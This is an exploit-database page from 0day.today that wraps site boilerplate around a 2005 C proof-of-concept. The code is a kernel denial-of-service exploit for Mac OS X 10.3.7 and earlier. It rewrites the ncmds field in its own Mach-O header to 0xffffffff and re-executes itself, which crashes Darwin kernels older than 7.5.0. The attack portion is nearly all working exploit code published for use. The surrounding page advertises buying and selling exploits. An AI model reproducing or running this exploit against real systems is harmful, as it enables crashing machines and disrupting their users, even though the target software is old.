0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Mac OS X <= 10.3.7 Input Validation Flaw parse_machfile() DoS
============================================================= Mac OS X <= 10.3.7 Input Validation Flaw parse_machfile() DoS ============================================================= /* * DoS for Darwin Kernel Version < 7.5.0 * -(nemo pulltheplug org)- * 2005 * * greetz to awnex, cryp, nt, andrewg, arc, mercy, amnesia ;) * irc.pulltheplug.org (#social) */ #include <stdio.h> int main( int ac, char * * av ) { FILE * me; int rpl = 0xffffffff; fpos_t pos = 0x10; printf( "-( nacho - 2004 DoS for OSX (darwin < 7.5.0 )-\n" ); printf( "-( nemo pulltheplug org )-\n\n" ); printf( "[+] Opening file for writing.\n" ); if ( !( me = fopen( * av, "r+" ) ) ) { printf( "[-] Error opening exe.\n" ); exit( 1 ); } printf( "[+] Seeking to ncmds.\n" ); if ( ( fsetpos( me, & pos ) ) == -1 ) { printf( "[-] Error seeking to ncmds.\n" ); exit( 1 ); } printf( "[+] Changing ncmds to 0x%x.\n", rpl ); if ( fwrite( & rpl, 4, 1, me ) < 1 ) { printf( "[-] Error writing to file.\n" ); exit( 1 ); } fclose( me ); printf( "[+] Re-executing with modified mach-o header.\n" ); sleep( 5 ); if ( execv( * av, av ) == -1 ) { printf( "[-] Error executing %s, please run manually.\n", * av ); exit( 1 ); } exit( 0 ); // hrm } # 0day.today [2024-10-05] #